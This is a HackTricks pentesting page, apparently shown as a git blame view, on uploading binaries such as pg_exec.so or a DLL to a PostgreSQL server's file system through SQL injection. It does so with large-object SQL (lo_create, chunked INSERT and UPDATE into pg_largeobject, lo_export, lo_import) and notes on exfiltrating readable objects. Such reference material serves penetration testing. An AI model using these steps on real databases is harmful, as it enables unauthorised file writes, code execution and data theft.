hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

108 lines
5.1 KiB
Markdown
Raw Normal View History

# Big Binary Files Upload (PostgreSQL)
## PostgreSQL Large Objects
2021-11-30 16:46:07 +00:00
PostgreSQL exposes a structure called **large object (**`pg_largeobject` table), which is used for storing data that would be difficult to handle in its entirety (like an image or a PDF document). As opposed to the `COPY TO` function, the advantage of **large objects** lies in the fact that the **data** they **hold** can be **exported back** to the **file system** as an **identical copy of the original imported file**.
2021-11-30 16:46:07 +00:00
In order to **save a complete file inside this table** you first need to **create an object** inside the mentioned table (identified by a **LOID**) and then **insert chunks of 2KB** inside this object. It's very important that all the **chunks have 2KB** (except possible the last one) **or** the **exporting** function to the file system **won't work**.
2021-11-30 16:46:07 +00:00
In order to **split** your **binary** in **chunks** of size **2KB** you can do:
```bash
split -b 2048 pg_exec.so #This will create files of size 2KB
```
In order to encode each of the files created to Base64 or Hex you can use:
```bash
base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
```
{% hint style="info" %}
2021-11-30 16:46:07 +00:00
When exploiting this remember that you have to send **chunks of 2KB clear-text bytes** (not 2KB of base64 or hex encoded bytes). If you try to automate this, the size of a **hex encoded** file is the **double** (then you need to send 4KB of encoded data for each chunk) and the size of a **base64** encoded file is `ceil(n / 3) * 4`
{% endhint %}
Also, debugging the process you can see the contents of the large objects created with:
```sql
2022-04-05 22:24:52 +00:00
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
2021-11-30 16:46:07 +00:00
## Using lo\_creat & Base64
First, we need to create a LOID where the binary data is going to be saved:
```sql
SELECT lo_creat(-1); -- returns OID of new, empty large object
SELECT lo_create(173454); -- attempts to create large object with OID 43213
```
2021-11-30 16:46:07 +00:00
If you are abusing a **Blind SQLinjection** you will be more interested on using `lo_create` with a **fixed LOID** so you **know where** you have to **upload** the **content**.\
Also, note that there is no syntax error the functions are `lo_creat` and `lo_create`.
LOID is used to identify the object in the `pg_largeobjec`t table. Inserting chunks of size 2KB into the `pg_largeobject` table can be achieved using:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
```
Finally you can export the file to the file-system doing (during this example the LOID used was `173454`):
```sql
SELECT lo_export(173454, '/tmp/pg_exec.so');
```
{% hint style="info" %}
Note the in newest versions of postgres you may need to **upload the extensions without indicating any path** at all. [**Read this for more information**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
You possible may be interested in delete the large object created after exporting it:
```sql
SELECT lo_unlink(173454); -- deletes large object with OID 173454
```
2021-11-30 16:46:07 +00:00
## Using lo\_import & Hex
2021-11-30 16:46:07 +00:00
In this scenario lo\_import is going to be used to create a large object object. Fortunately in this case you can (and cannot) specify the LOID you would want to use:
```sql
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
```
After creating the object you can start inserting the data on each page (remember, you have to insert chunks of 2KB):
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
```
2022-04-05 22:24:52 +00:00
The HEX must be just the hex (without `0x` or `\x`), example:
```sql
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
```
Finally, export the data to a file and delete the large object:
```sql
2022-04-05 22:24:52 +00:00
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
```
{% hint style="info" %}
Note the in newest versions of postgres you may need to **upload the extensions without indicating any path** at all. [**Read this for more information**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
## Limitations
2021-11-30 16:46:07 +00:00
After reading the documentation of large objects in PostgreSQL, we can find out that **large objects can has ACL** (Access Control List). It's possible to configure **new large objects** so your user **don't have enough privileges** to read them even if they were created by your user.
However, there may be **old object with an ACL that allows current user to read it**, then we can exfiltrate that object's content.